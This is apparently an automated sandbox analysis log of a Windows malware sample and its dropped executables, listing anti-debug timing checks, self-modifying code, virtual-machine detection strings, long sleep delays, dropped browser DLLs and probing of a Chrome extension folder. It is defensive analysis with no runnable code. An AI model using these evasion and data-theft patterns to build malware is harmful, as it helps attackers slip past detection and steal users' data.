Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 7E0434 second address: 7E0442 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FF888DC1E98h 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	Special instruction interceptor: First address: AEEA0C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	Special instruction interceptor: First address: AEC2DE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	Special instruction interceptor: First address: CC0A69 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	Special instruction interceptor: First address: C967FA instructions caused by: Self-modifying code
Source: C:\Users\userIJKFHIIEHI.exe	Special instruction interceptor: First address: 5DEA7B instructions caused by: Self-modifying code
Source: C:\Users\userIJKFHIIEHI.exe	Special instruction interceptor: First address: 5DEB78 instructions caused by: Self-modifying code
Source: C:\Users\userIJKFHIIEHI.exe	Special instruction interceptor: First address: 787A2D instructions caused by: Self-modifying code
Source: C:\Users\userIJKFHIIEHI.exe	Special instruction interceptor: First address: 7862D6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	Special instruction interceptor: First address: D1F860 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Special instruction interceptor: First address: 91EA0C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Special instruction interceptor: First address: 91C2DE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Special instruction interceptor: First address: AF0A69 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Special instruction interceptor: First address: AC67FA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Special instruction interceptor: First address: B4F860 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Special instruction interceptor: First address: 71EA7B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Special instruction interceptor: First address: 71EB78 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Special instruction interceptor: First address: 8C7A2D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Special instruction interceptor: First address: 8C62D6 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe

Code function: 6_2_054802E5 rdtsc

6_2_054802E5

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Thread delayed: delay time: 180000
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Thread delayed: delay time: 180000

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window / User API: threadDelayed 1209
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window / User API: threadDelayed 1203
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window / User API: threadDelayed 1226
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window / User API: threadDelayed 1267
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window / User API: threadDelayed 1120
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window / User API: threadDelayed 1096
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe	Window / User API: threadDelayed 1066
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe	Window / User API: threadDelayed 767
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe	Window / User API: threadDelayed 972
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe	Window / User API: threadDelayed 394
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe	Window / User API: threadDelayed 501
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe	Window / User API: threadDelayed 1559
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe	Window / User API: threadDelayed 589

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

API coverage: 7.9 %

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 7188	Thread sleep time: -48024s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 7172	Thread sleep count: 1209 > 30
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 7172	Thread sleep time: -2419209s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 1048	Thread sleep count: 1203 > 30
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 1048	Thread sleep time: -2407203s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 7176	Thread sleep count: 1226 > 30
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 7176	Thread sleep time: -2453226s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 1924	Thread sleep count: 1267 > 30
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 1924	Thread sleep time: -2535267s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 5560	Thread sleep count: 327 > 30
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 5560	Thread sleep time: -9810000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 7180	Thread sleep count: 1120 > 30
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 7180	Thread sleep time: -2241120s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 7528	Thread sleep time: -180000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 3896	Thread sleep count: 1096 > 30
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 3896	Thread sleep time: -2193096s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe TID: 8060	Thread sleep count: 124 > 30
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe TID: 8060	Thread sleep count: 501 > 30
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe TID: 8060	Thread sleep count: 1559 > 30
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe TID: 8060	Thread sleep count: 49 > 30
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe TID: 8060	Thread sleep count: 589 > 30
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe TID: 8060	Thread sleep count: 304 > 30
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe TID: 8060	Thread sleep count: 35 > 30
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe TID: 8060	Thread sleep count: 182 > 30
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 2784	Thread sleep time: -34017s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 6444	Thread sleep time: -36018s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 1808	Thread sleep count: 216 > 30
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 1808	Thread sleep time: -6480000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 2960	Thread sleep time: -360000s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe	Thread sleep count: Count: 1066 delay: -10
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe	Thread sleep count: Count: 1559 delay: -10

Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040D8C0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_0040D8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040F4F0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0040F4F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040BCB0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_0040BCB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004139B0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_004139B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040E270 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_0040E270
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00401710 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00401710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004143F0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_004143F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040DC50 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0040DC50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00414050 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlenA,lstrlenA,	0_2_00414050
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040EB60 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_0040EB60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004133C0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,lstrcat,lstrlenA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_004133C0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00401160 GetSystemInfo,ExitProcess,

0_2_00401160

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Thread delayed: delay time: 180000
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Thread delayed: delay time: 180000

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 3Windows 2012 Server Standard without Hyper-V (core)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 11 Essential Server Solutions without Hyper-V
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: #Windows 10 Microsoft Hyper-V Server
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 8.1 Microsoft Hyper-V Server
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 2012 Server Standard without Hyper-V
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 8 Microsoft Hyper-V Server
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 3Windows 11 Server Enterprise without Hyper-V (full)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 5Windows 2012 Server Datacenter without Hyper-V (core)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 3Windows 2016 Server Standard without Hyper-V (core)
Source: explorti.exe, 0000000E.00000002.3406205862.000000000162B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWh
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 8.1 Server Standard without Hyper-V (core)
Source: file.exe, 00000000.00000002.2413355386.0000000028AA0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 3Windows 11 Server Enterprise without Hyper-V (core)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: (Windows 2012 R2 Microsoft Hyper-V Server
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 6Windows 2012 R2 Server Standard without Hyper-V (core)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 11 Microsoft Hyper-V Server
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 2012 R2 Server Standard without Hyper-V
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 8 Server Datacenter without Hyper-V (core)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 10 Server Datacenter without Hyper-V (core)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 0Windows 8 Server Standard without Hyper-V (core)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 6Windows 8.1 Essential Server Solutions without Hyper-V
Source: 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: vmware
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 8 Server Standard without Hyper-V
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 4Windows 8 Essential Server Solutions without Hyper-V
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 5Windows 2012 Server Datacenter without Hyper-V (full)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 2016 Essential Server Solutions without Hyper-V
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 8Windows 2012 R2 Server Enterprise without Hyper-V (full)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 5Windows 2016 Server Datacenter without Hyper-V (full)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 2Windows 8 Server Enterprise without Hyper-V (core)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: "Windows 8 Microsoft Hyper-V Server
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 4Windows 8.1 Server Datacenter without Hyper-V (full)
Source: RoamingKJEGDBKFIJ.exe, RoamingKJEGDBKFIJ.exe, 00000006.00000002.2373119176.0000000000C76000.00000040.00000001.01000000.00000009.sdmp, userIJKFHIIEHI.exe, userIJKFHIIEHI.exe, 00000009.00000002.2424291604.0000000000769000.00000040.00000001.01000000.0000000A.sdmp, explorti.exe, explorti.exe, 0000000D.00000002.2432417132.0000000000AA6000.00000040.00000001.01000000.0000000E.sdmp, explorti.exe, 0000000E.00000002.3390822561.0000000000AA6000.00000040.00000001.01000000.0000000E.sdmp, axplong.exe, 0000000F.00000002.2449285864.00000000008A9000.00000040.00000001.01000000.0000000F.sdmp, axplong.exe, 0000001F.00000002.3390670231.00000000008A9000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: firefox.exe, 0000001E.00000002.2810035152.0000025DAEAAA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllU
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 3Windows 11 Server Datacenter without Hyper-V (full)
Source: 659e6df34d.exe, 00000015.00000002.2608393672.00000000026C1000.00000040.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwarep%
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 10 Server Standard without Hyper-V
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 2012 R2 Microsoft Hyper-V Server
Source: 7bfd2dfdc1.exe, 00000019.00000002.3431730044.00000000025F3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\|r
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 5Windows 2012 Server Enterprise without Hyper-V (core)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 2012 R2 Server Enterprise without Hyper-V (full)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 2012 R2 Server Datacenter without Hyper-V (core)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 11 Server Standard without Hyper-V (core)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 8.1 Essential Server Solutions without Hyper-V
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 2012 R2 Server Standard without Hyper-V (core)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Hyper-V (guest)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 2012 Essential Server Solutions without Hyper-V
